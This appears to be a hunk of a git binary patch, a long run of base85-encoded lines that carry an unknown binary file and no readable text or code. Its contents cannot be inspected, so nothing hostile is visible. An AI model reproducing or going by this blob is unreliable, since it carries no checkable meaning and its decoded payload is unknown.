zop)n-dD!;E%?n?Ysu}sBnqR<6SS?BX#?-!Z>~Z<m(+=n~R!|m<+7ecmLNccz{}y(q
zh?elS!wFH8I)qO-^kxwMA0r^F=J}-ave|P@y#(kY$UQNncowcU(bM|FmpFCjroJP2
zM9q3*lW<V0$SvBCxG(%dutk)y!@Tt_i9Y)z#-zby^e8f}YU@h`RlN(<8y*81ETfqu
z?DaG}Rh@-09QIOo%uR;pCZX2L;)-u`L=xru1>?;WC5uEf!q+MF#a&tJ`kmSP4%}em
z52gB*CFbs;$8?DvfVbywb39dq96T1LG_sRwU7}u~2b=~oCj55V$Z90Q-$crO`MCUu
zdTDauMYZ8_7=97D?2q6Vs%gNp(gyzRZiqb0Ww-$Db`d+bEL=A5hII&TdumX5;Imto
z3ygrR3pU`q{PP9@Y5m&W`2^rkJF?`-cm#9U+9DO<T}L9AA#&Ox9j_!dxLQM1N2F<V
z2G6d|LSvJ|4;v?Lel-cR_O0Q}7rEC)Z%=c}YyG&piC_g>2ky23)Br)FV+eIF$d%}V
zSas~-*tB|npSM~4ELyfaQf{p8xIudRG<TT@R&-lM>c81xcW^TDPQ<>R=b}XE{yf|M
z3Bbx(v<ChZPWN-k)=v=u@h3iE-Xd~Lmc+JA-7ocm8?7{I_!IdAw%9VPb>LLD8)T7M
zOmU@2YO+;ZoguK%Oh`my5@3B7?Hw}Hf6!5!torE8BV>!zd0+5+MCxv&QmeeB`rzI|
z6mU<&uGFa8Kp|Ml&_p|*RBI!AA8x2IgXRf(-A*6Q>j!rFur}+*oaqW?91AOao5);2
z;b(K>ul4mWW!c}O{r{T>{@SStuYhz8_804h{;#SN|IPzKM#g$hmX7~Q2eSI+-(}W+
zUmOR&?NHX0khSZKG6!lE7b`UtOx?vLEZIU$(@4!M=ZY9Qe><3Mk}A4#)}n~=*J7*F
z&YPgW!0EUKV&KnA9RR&Rb@`%Yk-v+DRlAeRn7GzNHB9qbRC>)OeZ3qnBK%gj6h;t@
z+TAA?7=a-SDkRwG-6ViE;0W_j(;E?G_$?b`iwBo?a1*nO&|eIlEe?KtpBA7P$n)uE
z0W(bBsH`(CfliH?Na=#vM7yhUY(3?{?ADlvg0o(tQfHO)c*)awV3-UpIEta%uTB`J
z<gVz~p`Yl~YozqpIP}?M&3Cv?s*VU!J}@b5jkUMRHa1lypIoC=a}hRV(a}(DQKVc7
zpQ&c@+z@AU-k>;NZnU{nrt+s};qDFACS@v3nVa5=MCjKt4g^wZ^DIq(h%@viHIz0F
znCU$T8<zXAalE+pVy1R^N3T^^HCLN7Kn2+BXK~7!Kf)dAJ0I<?mPysGrKo$a88-8(
z>L+-ZyUX?o>25|L2}J;bE^uqu!Ad@qC#m250g*ookQU#Gk573RBRQSA*OD>;)lG-5
z@S4Bk_)g|#`4l=%Zsw95hpcp63Q*7)q014wJc^as#Z4$8&s3YxYl{_6vk17htvt?W
z-Jf0zO`g3rEk5wfv1v45+6%VX2DCV~x#EfkThXU>s0#~)?_!o+Ldk;^<uI1?)rLi&
zn`?S**n`N(=eU;dbegO_6&z!JxJxKU?_#h9eq{u3k$srXywBmJ2LyUEt@<AQKa722
za3<llb&`o~V`AH$*tTuwjXAMx+qN^YZQI7g`f_mVJLlKERb5?OjXzzrpL*6_Yp-=E
z+h>35`RijN&i2)E5!;^yO@3~x7xkI(OcH&PCTN+r-l{D3c8Qz#V1amc&_K8N+JNbo
z)GI(c?+>bjyzpPC(7joY^v{gIldxId#k6XP`VFDfD<D<?B;`GJ-f;-z7sw0w@*A#B
z$mow&Xe^^ZmgxJxsP|Jlypc0hyC7TSc783gTYdc5FIaaEquWSOMipRWpGd%zAmSar
zQh3b>#5cTuN6@+97PJa)rJVXO2%9FsmXA9J!9!K!<xo3J6p5Q71+PPvP`sY9^$901
z%#uhWeyZHzTMd!Z>~|q|3hM%jyiP(s22%1p6n%ccM0*7*x;4mzuA%0$1(l}e!aC2$
zKF5`OjC|!g|6Y2xg5}BK;TqUkJILoDBA68E14t@Lh;|R3gk~z6qOUGM-ZP`X8Jy#Y
zyzWlsRF9P<3$G@*0YmE?OPqn2?6TR;aK+H5#sWyEi3A@F*yW^a*$0m^_U;Q=h4u>6
z2b`tjrx^LwuMb*%9sMmGFIZ(dur=t3{s#9M!4fcT=%*UAN~nd|e--Du9`;lB)6~s*
z-HzwZCdeZp0e`McbnRhZH#gZ1q+Iz;RE!&zzSIcA9H_xM2SkGZ4)jW0M~zZ%_?NN8
zf37e8f93f{bm=B1v185msxwCMe=%sW_zv8nm$oxwvHU)XxR}^Fk^IkvyrZ4lzk`XI
zG@;y-7tucDwn!4Bbp?^p!2}Q$gw*TnLVrRN&JNK00vRcf870O_oe0!eX>6*{VlUDZ
zv8kv6b5%%-6<67K+FWWj#AsP+il|y!lALb4o-`ID>n91O-{yYWc)QZL;yliFy~^Tw
z80>obkt&)^!?Gg*EC=PL*~1Kyjdqjy`xvbA=Z*+4J(Qb94>gDn>CQ5UF4_$a@E^1r
zZVdE2R*Z7{Up?m_KJ+^XAfG1#IodquaHpN8eOhi>J=}924Zr_Dx~cVef^1>j`29uz
z^CH=)0r^ah`m;{}!iRn%2mFP66ZTuK;TCHP{U+M!i*|<}<nx=P!MO1Kk56ELAsQIt
zcZl*Et>;E|3!N~I6oV5oS4)eebtz34=^dexFNv}oGZU$ah17Y+P-5wGf1Lz#S)?We
zcgTwoXF4S&M7tp0Ps5}G$L#7@g8SqDv6FZJ0a-+Jq<ZhxAGrxi#@?z;^SMp5qHFb>
z?Ef<I?)*$fXO?d&&CiyX@7P)~M)ic#lX5Vk*tu<*ATw^n@`E$|ZLeL$Kci^fh;yad
zpg!{4)i}R|v0O&U!?|f?%hVO<;5}WHgw<dae;&n_uw%^}AW#rgm)}i!$vNn(I?i*a
z(V}0m`;b2AtN=c&9s$|tE=>Do)4%pm%sqgr5tWUeg9HuXc7)|Uote;%4oI_#<~7HP
zT1LNXOmoJsSw=A?^$woiuAMqdxBXL-=B+px4A%typ5Yz1>tJdZ&uCPorkY|SqmFrF
zw<<|-twq|xuaEAzw$`<I5H9Xk+Zo$N+Smh$6&U7y4;jLvyMF2{%B^(9W@0pAZ)ZQp
z$fJnF-nVI)GYzZk7NtLPU?O{+!ER-OJ<0YE=tf6F&Rn>q${w+bY8fP4y{LhC^ZX+l
z5$7lI2?E5%yQy>xg9)7saKDYJ$0XZ4IUn5(sMUup@c@o~T^r*CRI1@ET4f!%`l*$z
zI{P+co0djBNAW0eAJdVWSN4o{Uu2*1gf_J|cv6P&UU--kR5Y|NGc&g0`EA<6ZgZ1q
zuEhJ#jBw{$I#xF=$8CJ4KuuB>$9x`Zf}Ab8T@(-dSUhvd82P0y=h{d7oOK*qwt^!g
zxFkPLqQpI_*@N;4=5&Be7MA4$J3R}?MJ=KkZr?$FT20BUVm2*0^ZHsAi|8S=Lt{=Y
z8I-qE1|3_!fC6v3PJ*@H)(dGE(%YV#dXg}8(>OXno&C8}tHV{x_pzuz!{%_#2WFQ7
zA+@(QC4iVYot+b^Sij$Pom8sI;wU-0t<o`K-8zL~FGW+UHt3I2;Lgs-xtage)&%E3
zqd1fi4DArUZyoCbB79Q_C$U4HMFy>(1nzi2g3O*VnwIX2#Be?2sA|My?si8Q`*Uqy
zm_u^ts=1@VpS@|5*3FGHhKj<#nT4+fCvlh5)RVXD<{)>ob$>}I;doC(61;BJ&`}!N
zu;pB75386$@L6aQvU+V{kC?)dt?DSK9J0O?xN<vBR3rt?c@f!XaXKaqEaXMQVDq|N
zam!h1gCXN-)YXib!i&NnS?QPrk(hA$8ZjB%X^mUY(n{l466N7r<&M9Z0#gEA5iO~m
z_4w3O*RvT*1?=9jsvShpCE-eH1?3zSJT7<`V%#dKc}6hJXDehoJS=DGA?SF;`Wdwv
zV(RULnN`FTMtq=7ZnMQkylf}tL1M$$nFU6qs;BB?_sK><(To0Baz@VBV#B8_+0n}u
zAX&NdVRO7;&`_iwRZ>pc(U)8@g+$~sa~4c8vldin=gNXbTuBOTvh(KcvdreivgGqL
zS+a4I4HnU|C1ag!PU*5G^E`CDPU-ahXpO&0B+KVcVNbKebhrqtEHj;wWt)^slz3TB
z8e`GJE~uR}rL6;O77FK)O(%^yG8>gkOq`k%lFzksYDgk4?gQx2HAFDeb311&SgC)T
zGOjPK<n3!?%4!zObF#3dmAyj3IE>LDnVmEyZ*Z}~Fw`ZSFDj$(7@QfDu!W!4er3v?
zLjwM2!vbV{%x8Ox#2X_ml+}J@+o+OG4=>ySlQ8k=ldtv!q9|3I6l5DWmE#y@A8^&l
zkJYTODN}Y>0-4nZ7Rg3djrB-@53oJ77hC75X!%;E+{HgDt5?T6)f>$M2|wy|Bv#;V
zGPUlZhHd1aE(ZxAmoF|&qK(sDvLl6PL|~O$KXqt%Zv3%Ny<G-i{;9b3=Ip26=kq!|
zn^*cEHDc%{0XX{>$3#9LFY8xdVdvC(*bhExI3-ocHJRBLk<vEQuareS%FM3x^(W)-
zbWpkgC!w5cxXSlKqa4M(uQXn*m#z4#urhi7go&=;A2WkZm5OSL)I8U9Em${8E1c>c
z<mFq1VoC023JP#e;^xB=_|AEgYJ@#T4x5$Bb25B$uw-)CTyOQ9$0*`k*R)9RuJTYe
z(8FP1XB+>tl;y8f3~NbbC=dOkPb)W6I_;T8xM_W1cQIk?6(7t`UW2BpzC3KpUQ$xq
z+-jnXbrs9sV>;^EkQ=*d6qEqp(f6E`mAI!YDC)_<B1czP47c+dDHXgM)OD?8tbOO3
z#6M#iDCoeC9C`L;8AAPG3dllw3{H05#^NkXI(hBe8r`Y&EaN9xvX%Uh%4Fz-Kpdgu
zcKXGrF~1JFDAC|3<1F(v?N~In&MEM@Hmq~Y4ZX+<5Rhk@Ayiw(78@dTFsdLY@m{Xu
zO_roM|5J_`0!{;JfD~+mie3<RO9o`2?hnEV#iaW)L}2mmR=%lX@!5rwxxCG5!l1ng
z+Vy_kdj1wzxycJ#<^CnN?A7Z`nU+96W&BuS5&ZInFoUo11o{BBLX+>H+$F=ZWn3X;
zU4iD!%PZ*62Q7Cz_m-fx#hgAEUFK|{7V@qT4_~0Wk(daR=u!a*RowG$0A||{cmK=b
z5!uK!uo5Stk)-8eCw(W-Q#LL#kdWMA(OBZk6-XzGVUbwcO9!OZaMA1ER*Dcq*Zu)S
zBNT@3&ye+nS%?C~jpV{RG=|+I!sMc{WS0_1=B{;T*mU}>AjFuPP$A7Q?Jg+67VJii
zE-+-~E&0M7a3z*41%e$v9@etdt1p9l8}Tn~trxC(Rc#RHW{Fz0&wJo)=)X6HbxP-b
zcxzoJGmpDg6TX=yWL|jNps0_uUKui!D?!#fEZPIlJRI<b@GRtXE_=uzjE?fsxOn19
zBSkreejWir+g=dchrN|7N7=((_lXVNX58mcM+ZC05Hx1ad9k@0i$P)jhcK!nD~P>h
zP^vv6#)96nsE4hYlnOPR#S|&d2GDshN+z}*m0C19Ax=`D<4Bdt3_7(;g5+aK2ptSE
z!ATg-S2E-S?<+xAcXU#<Y5peAF7^5fb}k0VPV=DLBDK2sT`{~K{Ekf!_KnR1``^~&
z8lISkYs4Hfo~Vm!`y5)HAhc@<7o#Qi*^exAOWD0Hml_+Tyu<ij_*rW(ZsMLuF;?`u
zB9|te#a;P4n#QY4N3%by@2{z2@N0QBqcd)QY&E9e*+e}zBf}q-jIT7LtX+x3)TM@`
zJiXMXB<MJf8*yS4Rr*ux(wu?#hPhU-5I&B?8eFOrb=b=6Cf*6z25E8S5ZK77tz?$B
z$?UV0pa3k%89S8b8Ok#Bs)ZXLvDcq~>YJ9)wvo_*s|R9)0mi#jvRtT1_C@jbtS$^?
z;_8D{h$n9huAC5u79Ca=EsC@W5^^ng7Em5PG}bcgE$jwC+n(FNm&;$cs+Cr6iLCM#
zW#2id{&JyPl8)!x+$(9@!RXo0+es_T;vcveWDiVxEuIRCfWmM%C~u)@+4{9=d17#`
zdE!c5100`!+Kw6-8Zdyf@0eB2PbUF?i^m^Y{T}RhFjhtbh`uy4oDTVvY0b*O-Vg2*
zhNltPhOjn{ZVK)bCSxLUXndGn9PSc&<+%9aeOT5am{-L-W0(9aEy{kdI!x6!ex?5S
zM4_4EXl<O{Yt*x_(wn@mR<xj$q3gF6Szg!09=FEe8ESW!_iK18aB;olTL`<lf6CXz
zJr?F`2<4hWe&x(u!=RXfH!Ky3i0H0so{3N<DW*kFIW*ZL+hR%HFyxLmi31B6x(#y3
zoO6h<H{8>5&;r?eUkJ66qu``x-Q%`51KA@iL%JT)feHmE5qIM}k^G#Jh;l<1_OdhN
zW!;1Sba^0~l8tIj;792S(<wvRj__vOYs7R|x}-$<V#>>5R!Z<9xRU#I(Me0X2T{up
z>>z3xPaxfT^mk$DU0$#WudM9DUT{?N`(|$e6iG=D*-KsEKq3g^A7AZW@>(RtCd-?7
zibk^$Uv$-7oRLC+duGu4KdJryghBrekf6-6S6;uV{h{ySEcXAkMgLELBx7Rpjg0JM
zzH@mD%uN2(j7d_qvO^X?<?Y8Qq@7DyEPn<?KUqVs@RpZij3N`sXe?v&(bR`t2a-w_
zF^c?>K#__f`vme$yq%)c(2WSwJDS?yJm#Cq+T8Z_c?XFdyhk*Rg)+pZHjEp*qW~pP
z{ZL0?L+NR+T?N92s72~S;Xyl=;ctFlc{Cc1!4*1?p2rC{xRH!&S(i*=7Dkv(dJ5N8
zOILYWnOQV-&geDU#T29!QN!NY@yIZE+yr`bKFv&l^V?L&D6bo@O~OQAy>bYR<1x8G
zZG=`~29&bBRLB+#JfIXQv!Bn8Nq#8LsyJM6@`}n7`7a@`c2QB&7HRK0>Qtyw`qi!i
z+A2@ARdK4?wGZI7SQ>Tvzs1@kQR%9j*cX*!Q2~q=N5~T74*qPZ2H}qZen%)0VsU+e
z+-0Y05EY+;c_WWtz(11j$g%tHTC?Bqnsj&D%Tj9=IJx(^`sai(gP2*yMGAP9xIEGb
zO7nlO8mOoW2Qr}7;fSI(7)*qj;KLa3^y4pb6aMJW+WnOyN}x_hCwM^V&1JfIxJRPJ
zwdAYL$^Y0ND~~7@Y4GqTM3NbAF_VyyQM%u7l+DwKsL`nOVK>=xdLX@k+dx*(qRFkH
zFV^81WGF}8muoz%?@x7A@dWZ+d$m{L6Pg@{H~+pyouqFlRx4t!N~=XNi^^+)@Swho
zR0HWb#3cGMWQ%YKmj=Qr=P9zZq)rcM5&cdw6UL1f=^vP73!UF7OB{qKkVF#hB;jd&
zaCegE1mmqxsoZfXY20zECRf6??6$K$l8NYqYJr(ZAX}o5stS?Ps)${4?5*7^tKP**
zYz;xQzvywgM8xVn6EmGjwg-73>dg{6PsO`qAb1_y#a!wXObvdY)~6vzNJxEn*9+#z
zOFC@?J;~_Z$GYG9|MjsD)u@eao+3;aiO+|U>H7OuhL%(-nypu4?OpD9OSg{z&WToM
zRCrGZw19AYw;4~3CghmAukR_%OGo;_GrbrJM5J;T($n~@>+o_*k&Nr(pSrC7ETaD|
zFQMJma^7!OXdY}JpkM#D@=`Q$1{fGxoBU7b;om~jf7RKdy1UzV%)=KPmn!m)70`@O
zpfDI<VjNTuC|Wi|u@(JT8%u7I*nW)z5nW=bDN7ssc{bO1YMJ%Fkd0THGabPG_JZm0
z_<1tdZ?e~KeD`AatloC2$+QMi{*UJ=pUlkM%-2s-?sld*@5{t7!0HhtKOp<z^&$Ix
zD*HZxSRq=mZjGRHQFD(>ZFMImrQY2rZFgs@Ha3P(TOjNqt`4R<THUeOT><xwa5br6
zYI`d0w`V|Cy;koF8{-AbcN^!a?+-p3A?%<xqMczG?Du^iJX|9MLY;@Szzh3T*rFPh
zEw_!6I9pQ%t~YDk?tiO+fV;SVKkam3<L_8#^&7xl&)@jK5g@9sbTu`!Speibm9zkI
zg_QM8P2N&+YOZEVuJ_40AQ|8OX821G59&EcvW0sN%vi@hHohFm^^vvN_!2{Xo8HNJ
zPtE5)L<8C8lIhmxY>4^he(r<`a}%wD36jPJTQeg?lPK1C3peWPk1RcrM4D4=@mQ1C
zgb1*p&7*+a7ks?d;>(_ZGFbSHyz7|ql&uRT6V9+bR1YB=rv3;Bv)AH#3XTfAWKQ@H
zosiW4v69pmR+L!h(6?K%>0*@<2HFy3wphaf({7@6fo>%((?tfzE=Xfv3jOeet;leP
zo=|bTTA)q%(~w}>F)a;~Na|g}n3zrD6ETHcOK&<f0^gix3YJ}-WlVI3X}~HSvt6w9
z23xUfEuKGA8%I&kr(Zblu>sk_>5Z-hCb%HI4)=mDeQ8#Nt(wRnFl7M(tjk6dEyZ?@
z6`vpno~R1KN{U8KaM4AXT=-kIRucpxNm2XPxTQMFD@@fdM+D6>f&O}#0Bv0bb2MOq
zsfzSD4v@u{S!N~<d;u9Sjv_(IWXUVm{aw6h3gR<Z<wh(Qy>izO+c*iEen}X{V@`Zw
zvzjAcZ0E0cdJW^dNc{C>n^VRDP6Jqml;f+kdj;@i8)gv*69omdlN$|D4+??0&PQ#>
z`W_mvwPJ*FNHvqo0BpX(-F|Go{M`a<{BP$2s>0xX!G$mWjzeF9L72VZO#>0-E((UO
zp2Mc1*kXrO>k^<QviauhNCnli8eWWCz`+$Wd@QX6y@~0#IHpHBNhvjHFQ{7i8UP&H
zMgW+fj|L~K6x%55!ujV+5_Y|zXvC<7$1cmDCt8P6J`xU#F^R0cv>`7x3DF8Al330_
zznkzL34YQuCVs**2Y!*!PY39AQv6|Z6234wiS~8f;@x><xt+!Vvm1>t@>|ZZ@8D--
zy@3?aWVwofaM5GTnY{TMldzhd3S_<hWmYety^QDNftFjmu<Jcf<n3Vu61qWbI5~;;
z*f#=+cTE1cXG$NkTR`$(4Cy<mcga1+%7pK%E@J!B)i>2X;Xea*x7=ad`v}Os134t0
zk#NYqy?U(gGJDt05NMN>HGv@K(;uoLA`T#pMhM%FV@kWQnKC9woTE(^e{9i`1{@N4
zf=HP%d%#4H(|h*zu%ZmRHxfld`1wnqGTB9<_q5^Cx&)~GP8wL#SSrN@<w{;e8%;Hn
zqm>#4r0xaS5)HN}>8?2Uj}(`msdwt*CG5{!f5(hv8^GaoImNBZsL<G~%t|~hlvAFe
zn&I<b;ykU+5v7r7wWS(^w2N$N>)_GS4&<2O9n(_!?<>;;LopmXkXO?PDyk2pKF8lh
z_pN<~MN*ahZ9E@M^ngVcl;Ez29aG@2W1YWZTg_ZfmK;mi$}$@^-Jqm$8f`ybmem0?
ztY^~5O$V>#t3ht@Wxz5}x=`#zr2Pt8lyKONla4%?W7aTu&=4#6Rdhc#xxc05IYe4F
zfvr#}k8wd#H4mn_jNza|NKn64e>Vpr0+Ht0z-azdR^mp@8<DZ@;&gp>dS<&vfL2j*
zoQ}_O-<$aLJcuq;7%$2;UrBvbb*hBgJCVj9fPVfWVl59EeyKpToAeA2GHox<`hsA!
zo1&(H2R=+*i8VR=oPeAlE`o8rg;CEk;R}7iaiqV|n1ULE7U=%zkC&WQFP&jrI#DG%
z(PpKk!HZ!-BkX)e|K*fFxTJfyZ4;O#w9Dyw$tIFx`r2uoL3*qr7g-(Rgx@K<RB{X$
zrBQxWQ*YgnPNe3-Enj6(*VDyzazwGLg*KSzAytQCN5A2P&CRa%EiXAor)W3l`9a^K
z-7PhzUclLIsMrzLy)>Vms~ar)D{zQmpF>*=b&$;R$HET`6c0$X8#*)kbbHbVf4bs~
zT}6(kUIc=Nq`damB%%{|5C5&)WWP6obSFxN8X{ZeUs+Q}G>9?jv-wNZbzoX(>ynLg
znNm^B2Ha4+1r%#L3I#4sh-5J?J3)o2X0pF@&-0sXvFYa^+x>r0Lst9$rh?4(XH!Ph
z5Lx0<qttQXY7aFFRr!4+HoT*8jqtiTybJew&NSoy`3mbL@HGZ&&UeBI_oV;|-;eUw
zm?6Qm6Kmw><Ro_g1?<sGBz*w%*#?#}_(xvI4m7ePI6!W<GlX$E2)5k+lTn%An_mdo
z#p{2;0*x{3RnWcx^6zYA2oS-dnS!UE*vZe$xja*K>55+fqTDB>o*+@7l8Ae0#g4Ft
z3mT?_4%jq4wi+#8jvK5l2^oNE#bV!+J!!@8w1?~(BlpBB0`Or?z8JF{C(LHbiH7yF
zj*%CPapSWZUb`)Zb`_K%c@B%6KPAv~P)d`%vy{IV###4l-tb5%pwHN61)sBS<gVev
zv0KitUd$rSi^~g4HVA85Zo^udUs+hIfHIGfFjy+jEIi-&ADvnJ2(b}GXt*#q%gcVy
z^g?CD;<-jmwnpIf19IQ=jBRJ6;e~ZI-xKB-u88qqcI^a7Ex7<SNz$<A4WL4v^aO($
z#d!-0P1_XuDcyZUl6=AC7g69$#g%MQ+ewGP<lGhtl_mOnAfKYTDkE0E?rs+7#Vi(i
zKt>%BW;~WmY$Z`SI7xXC9_K<y@kPGm07a6IASZc|20LSt*c@eK5X#@FFj8UqU@>pF
z?%-QAz$BR%sIG9FujEWZF5U#4t0j@SJ_6g4;CKBC?P?6_ClqVh%AITYfHUlYe<}8H
z77-NzC1dvb66I9SJ7Zw9K`-W6w84_ZLPC=&zR)C6QeWzeHQMYrg<}dz0h+KW<#q9G
z>|K110@D*?&DTGrq5rud`|qt<W-;!0_qQx`lj{HC(+x1O{$`@>9O;Fu4FCXXJA?0-
zj&HrQlZl&?(!U@5o2J(IW{Z}cKVw)5*qJ@zML`ULRW3A<$bJiq)CUa^X;p$4gR)_X
z%FXqdi{eMATPLtc;jz11ESv_<bJ(CK3>5at!!VQuB%sfc$YeC1#uqxwk;u+n$RsSF
z3VnKR&(B9<0vo-0AHBI<Pjww{0j7MH-u?!S(|1DZhp7Ws4&M8~?kfY8I1Kf`09W>|
z0`W!tf!-1E8tUPszwnLtaD&Q$>j{{q%>ScW@CRy#hpsdy=jr~oCFmKX+k8g~SX#d1
zLkH-PqagWDCBAPB{#P!(o<iW4dZ_O=A+%TVjPdZS_Tx)8H0?Rv!%GLrtG~w=lmTM8
zf?%6wU_AU)>)8e9E9{zLYFow3d%A~OGWj}1VI+rQE~h+)UnwT1VwgVB{Ohux{>L-H
zyX53M*YE8eUvD>+No{4p&z$(@cuh~*-{Y;wh@tj52XR3MZvzF8EQ|LWB)US-Am)Sj
z!I;6%u(vRhnrbx`TT9)}uH!>+T58)3D)P(S?4A7D{E6X1XT)J{#uRCddu6ZoRI>z8
z3+(61=oQ0z)&rW9H?G2-`@0MBbI2ECCU!=iM5|f^_>f|+m9OggE$rCWD%Yf*ZR{3{
zEr2n}W|BS1bA3w_6b-aSJM9ja2lU>)+ZOm@igA7K5T8{sd$YWPt*eL03{XHr#OfaW
zatK80=>c3U>l#ZP1K5c;Ddq6k1_S11cB97`chybzGMsz@oT3p6z6>kW9d$)B3=eIX
zt!8l{FLnzX?89|kyjH)bVJ4-OoN!;=<*u>vhYJ~RS@%h9?jctuL{%!91Zn&OZQadJ
z1$fsEM<))c!~ymd_QW$;+|YUbr2XAOv$<%E)y1NLM^VFF2z<oE=%T&0?CdvUhoT-8
zF~zr3J`wwIj$xQ^yaWyqX7l!wpS$W4X}O;-aSH-yP;EQ(sfl4Hd45RB<k3k*b($LG
zp|aSkV&rqi6Gp)dfdS`L%6j>pN*q{MEsCn~dx^rh);c`r)HO)JKV}*8DSt&6o+|mT
zX~QFezV-!NZMEZ8YAhDj!|5^>#!@^9?{8i)T2T$JDkl-&3;}angU;8W$rZBLJguZ|
zFrY@vChQHQ9?6z>U4G@%QMlc}P5h`dWznc%J=^DYWYmbhc{;Lh<|SxRd{}R8JhVPB
z1X)G7RB=cSC&PpoOgm<@tBfv*4>3P!cFW{Ovx-3aI};U=YRVRTr0u;mIhKVHA<r_7
zUd2NVA)q?7zl6ct;4rOArgdpc(9Q{G7dtJpC!g5(it<LgOpT#K9A(1!>yVL{ss4qS
z^Yj*c(MU)dJ@`Z)`?G54H`;YEY`bv7V<MA0^W&VsI90{mfo%*t)iV!cw+3N-r7$v8
zj*O(1#V%~r5X0^(o>B8b_S9C&!^sdk<_3{aIM}3`Us8upWsEdcK{Xa$4Tnk8Rt5}=
z!5>8iL|Mxm$bqUKQ^@of!HGALL~cYF4z>)bc1+2{64ZFLQTt@M%j0<@N%lVS4IQ+_
zQ|Y(d!8BdDRKKfK<=iNe74ej+FUH$1yQU_<H>sp6C&nxlX*T|paPzSDhaJ%&4*<sP
z)pB%_qyj1R)`o{V7?A;Vz<$vK@=S(RVdZ>IN6(k9f`fwt=uVi(EJey=uxa{Z!j$A^
zoaXw5kZ*8l#$&WhX&;r8glR<TE(K3v(q*t|mSZeww%>1B>@ju@Cqna#>dqx<Fbxh2
z-$J3_)Q!fjO0ICCvO%<hD%HfrNq3^zDaC}y@I)AqWe-8fq*33)rrC{wlo{Ky7eULV
zE7BeYFF=wRLy0O`7HuSQJ*bzGNE2JilJ$oucQX~~qBEv27Nj{=(6AlI6w|~N71JnL
z;tvj|J`TSIQ?`scPSr?~C<c@nyY+N)!X~4Rgy&A|RuEE9%UC3?%UHy7OSdVd%V?0&
z7B`MrqMX<HAv&p-p~_X%dRF8W+E!61hJ`~Q;M5N#Hq}ohvb9B&jU;xMFxG@%+3NO6
z$xWP9b0Eq*s4z^m*%=I;1uRHrrSIaQb&7D16gQ50aAjIEm=stm7EA_PGZqOoW7kh6
zUd~zM!?~tClYII+Z-*HxUB%(~zbv<<*T5h=&Vp9Lv3n;>{@Rkw_FuPse`ImAvf@Kj
z-4>S|GG<^4)Bs?k%#=pkbV3F<(F~>qMPpHF>6re=%=TEd(7_2d|N3Q3@|?aO$2Vzl
z-cDPQp(XYQwn(q6<&p8t^&IAU3>Iz<ePx^BN6ciJ><bbNt{O>IWH;`)EPvd_5EOJF
z9n08qJiPsVePU*L9hzZL10&w5{Gp2R)v@2H2CtP><M!H6qNM(EOH)gWb0rx~72ZVI
z>is=r*V!bv5){{7=2%CyP`QVIuTyL|xsocoL%|AO2)L4}Z}3e+&6i5}t%5u2fkxHN
zd`mpMNy%I!TewpBn3;4e&zZ+wA?zIzg37Xk=nMEJire0+N@5(kJ0#jVel#2-HZ;dV
zQCCklwtcN$)l7Q=^VGDt*?s@!KnYJqv<~qWhbaaEEd1ab%H}Nohx-tG_G*%m=P8X%
zOAeE*V>|O#kGv%b1kInvBrC6lA9JMKi|lJU<*r>X>DO=wumhn6p3%!?ENr|&4sc2z
z*k-kgzAk4a?W$UG_t^qf-cslTHSXf7DH*@cqew)+>d@3|H&e&St0FVYuY<<KiG$O8
zvpRPq6)k;<MxP52aUD8lW1ySbyljd&+pBnmy8OY|j|fn^oo*~SC8>v<rVFWSuLz)r
zPsZ@iWYW>t2MD>RD`yM%P^l_V7LVLoqMyO`*SxGZXeYn7&sB3cI9XR5Xet;7=4Y|x
z`;QnGm3Q^^Nzqfyv+Rvv&`M#>O9EP;O%1eG^H;9dn`cr3tkn>!pT+tkUBw&Z7is)K
z`@|9&IRsJHau-IGr#Qe`_4ab=O-PZ`eV?;>!NLm!EXZNrLKC5Sl4?_&Jy%CdLHnDG
zR`%60X@~v{TcQsiFAub9G&Nl<XJ;xZ>D=o0kZ=k2oj7x14Et+NsX?sj5j@Ye@Gq(P
zT!N5S;2g`*7Udy_Zt3lyt@jxULyXr<UbctQyxV;(Ew88toHF%M(;&QUkn1ljHXu%W
z_}yUKGa^*B$rd*~I~%eVH?sWxb0{M?qMw{@*qveyT9@vqD$CjaY9Hn0oKgP4{_?%<
zsA?h5!3HNmu}>i3^UXn>#|p@IvVmWq&>;pcRB=3-g(ehx4RPsPvc)nK!+4OpvJ<^j
z%6VWgv*BpMg<+`_By95gbcVUg>ce;{r9HA2`Ie|F3ZhY0gWj6GSu0WON{p<~MhGvZ
z3W3B3!%w+5=mIAWKy`BGhZf$MX+YPci8!I?r^{Or6i|i)7?Qj^{38hgJj^5W{u?+#
zf8c&TjLqW)u+sMeK!X-pg$*!8B+tF7oa>T}m=Cx8k*^fir0btrxj>P`{Er_`brkbC
zJ>7ekj<9<^qT4K=Ro7fi*Tw*-QerlPdN7SujkJ;#Lb}7M+Tsm~<Od4L`L%;$`u39v
zz7wpAUe7NZy?Q!MEm^2;7`yE;_Z<pCv1*75s(odNt0HU2;Z-{i`t97BN6|+{!EBkY
z{mvy7P9;{Yvdi{a(Yu-!h@RJ>Z5PZQ?!h1yY|vxjy8Xua?N87kH`wCXm@Ki#Yq7t#
zD6#wV-(k-W%V0W<+O9d&*%mTG6ac7TB?|T3?Jk(TaOCouuHYu_93fC_vI(fNDARe`
zeq50fpf|0!uDj`Z0Thw~Psr8YfmFfnf8#tf?Kv+?^eu^6JOsZTE?E)b=n&yJgdbMD
zm_e+6j>(5XK+5vTrTar*!LT8Y*<CQ>?_oWz8C0+0XI^WG0MQjB%fSt4iN2r2J{Gj>
zx#DiJ16o4te4S-3ov?;zhldZM2x%RgWDcOuTxpN~anK}#*$m#=zz=)6*UqH_D^ky+
zr6&yEdCA{v8z!{z!02QL(M=1ocf#DdbOtDzhAp&kBlAcLqH$M<9}#P)aqc^vnd6>B
z4h`R)83aZ%M^2orwZ}f87UL33x(RUabKVzZM8)Q@;XIly6JTRL<X-904sxfSZb|5Q
zr}o~`9leV|UUa0T6AUWy3~fAd05(u2;I9w2$Twr5nY79gDSnzXB|I$wu5>b$ww4YB
z7yfmK(ETYPJe$*Z|10iy=*&CH*P<rom+#AdnnW(6+GfwRe?r7_M7q(3*%8QurUrfF
zSOarUY$3lsc&ZS7i@CLr`9bYPZDnivE2~$z7fTwYvW7R{)SuY=KtGsa#MD;5Ri$(m
zlzZ#~QYlaE9(L@)KC`HKdP?YcmYP0lDUnk1m7lO&4AVl6acoO2k*~+&rSZIPJnT=F
zv}xYbph-i-wy9=M{tj{3P_aj!K)>)ODJqVe-MmQoKIp>!TANSKQGJAcl~Uk6&+w4j
zL&!XpeYTe0b_l;cL;FQx9<3Rp*)ZjV&9eGrgF!mI{ET_y**R{bljK;B1i428*#U0=
